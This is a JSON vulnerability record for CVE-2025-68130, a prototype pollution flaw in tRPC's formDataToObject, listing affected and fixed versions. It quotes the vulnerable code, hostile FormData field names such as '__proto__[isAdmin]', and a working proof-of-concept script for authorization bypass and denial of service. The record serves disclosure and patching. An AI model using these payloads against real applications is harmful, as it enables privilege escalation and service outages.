{"id":"CVE-2025-68130","aliases":["GHSA-43p4-m455-4f4j"],"url":"https://o3.security/vulnerability/CVE-2025-68130","summary":"tRPC has possible prototype pollution in `experimental_nextAppDirCaller`","details":"> Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`.\n\n## Summary\n\nA Prototype Pollution vulnerability exists in `@trpc/server`'s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.\n\n## Affected Versions\n\n- **Package:** `@trpc/server`\n- **Affected Versions:** >=10.27.0\n- **Vulnerable Component:** `formDataToObject()` in `src/unstable-core-do-not-import/http/formDataToObject.ts`\n\n## Vulnerability Details\n\n### Root Cause\n\nThe `set()` function in `formDataToObject.ts` recursively processes FormData field names containing bracket/dot notation (e.g., `user[name]`, `user.address.city`) to create nested objects. However, it does **not** validate or sanitize dangerous keys like `__proto__`, `constructor`, or `prototype`.\n\n### Vulnerable Code\n\n```typescript\n// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts\nfunction set(obj, path, value) {\n  if (path.length > 1) {\n    const newPath = [...path];\n    const key = newPath.shift();  // ← No validation of dangerous keys\n    const nextKey = newPath[0];\n\n    if (!obj[key]) {  // ← Accesses obj[\"__proto__\"] which returns Object.prototype\n      obj[key] = isNumberString(nextKey) ? [] : {};\n    }\n    \n    set(obj[key], newPath, value);  // ← Recursively pollutes Object.prototype\n    return;\n  }\n  // ...\n}\n\nexport function formDataToObject(formData) {\n  const obj = {};\n  for (const [key, value] of formData.entries()) {\n    const parts = key.split(/[\\.\\[\\]]/).filter(Boolean);  // Splits \"__proto__[isAdmin]\" → [\"__proto__\", \"isAdmin\"]\n    set(obj, parts, value);\n  }\n  return obj;\n}\n```\n\n### Attack Vector\n\nWhen a user submits a form to a tRPC mutation using Next.js Server Actions, the `nextAppDirCaller` adapter processes the FormData:\n\n```typescript\n// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89\nif (normalizeFormData && input instanceof FormData) {\n  input = formDataToObject(input);  // ← Vulnerable call\n}\n```\n\nAn attacker can craft FormData with malicious field names:\n\n```javascript\nconst formData = new FormData();\nformData.append(\"__proto__[isAdmin]\", \"true\");\nformData.append(\"__proto__[role]\", \"superadmin\");\n```\n\nWhen processed, this pollutes `Object.prototype`:\n\n```javascript\n{}.isAdmin        // → \"true\"\n{}.role           // → \"superadmin\"\n```\n\n## Proof of Concept\n\n```bash\n# Step 1: Create the project directory\n\nmkdir trpc-vuln-poc\ncd trpc-vuln-poc\n\n# Step 2: Initialize npm\n\nnpm init -y\n\n# Step 3: Install vulnerable tRPC\n\nnpm install @trpc/server@11.7.2\n\n# Step 4: Create the test file \n```\n---\n\n### Test.js\n\n```javascript\nconst { formDataToObject } = require('@trpc/server/unstable-core-do-not-import');\n\nconsole.log(\"=== PoC Prototype Pollution en tRPC ===\\n\");\n\nconsole.log(\"[1] Estado inicial:\");\nconsole.log(\"    {}.isAdmin =\", {}.isAdmin);\n\nconst fd = new FormData();\nfd.append(\"__proto__[isAdmin]\", \"true\");\nfd.append(\"__proto__[role]\", \"superadmin\");\nfd.append(\"username\", \"attacker\");\n\nconsole.log(\"\\n[2] FormData malicioso:\");\nconsole.log('    __proto__[isAdmin] = \"true\"');\nconsole.log('    __proto__[role] = \"superadmin\"');\n\nconsole.log(\"\\n[3] Llamando formDataToObject()...\");\nconst result = formDataToObject(fd);\nconsole.log(\"    Resultado:\", JSON.stringify(result));\n\nconsole.log(\"\\n[4] Después del ataque:\");\nconsole.log(\"    {}.isAdmin =\", {}.isAdmin);\nconsole.log(\"    {}.role =\", {}.role);\n\nconst user = { id: 1, name: \"john\" };\nconsole.log(\"\\n[5] Impacto en autorización:\");\nconsole.log(\"    Usuario normal:\", JSON.stringify(user));\nconsole.log(\"    user.isAdmin =\", user.isAdmin);\n\nif (user.isAdmin) {\n    console.log(\"\\n    VULNERABLE - Authorization bypass exitoso!\");\n} else {\n    console.log(\"\\n    ✓ Seguro\");\n}\n```\n\n## Impact\n\n### Authorization Bypass (HIGH)\n\nMany applications check user permissions using property access:\n\n```javascript\n// Vulnerable pattern\nif (user.isAdmin) {\n  // Grant admin access\n}\n```\n\nAfter pollution, **all objects** will have `isAdmin: \"true\"`, bypassing authorization.\n\n### Denial of Service (MEDIUM)\n\nPolluting commonly used property names can crash applications:\n\n```javascript\nformData.append(\"__proto__[toString]\", \"not_a_function\");\n// All subsequent .toString() calls will fail\n```","published":"2025-12-16T16:50:42.542Z","modified":"2026-08-12T03:51:35.640749881Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@trpc/server","fixedVersion":"10.45.3"},{"ecosystem":"npm","name":"@trpc/server","fixedVersion":"11.8.0"}],"fix":{"url":"https://github.com/trpc/trpc/commit/78629d524968ef8db5a7adf68d8b95a44369d77e","label":"trpc/trpc@78629d5"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/68xxx/CVE-2025-68130.json"},{"type":"ADVISORY","url":"https://github.com/trpc/trpc/security/advisories/GHSA-43p4-m455-4f4j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-68130"},{"type":"WEB","url":"https://github.com/trpc/trpc/commit/78629d524968ef8db5a7adf68d8b95a44369d77e"},{"type":"PACKAGE","url":"https://github.com/trpc/trpc"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:35.640749881Z"}}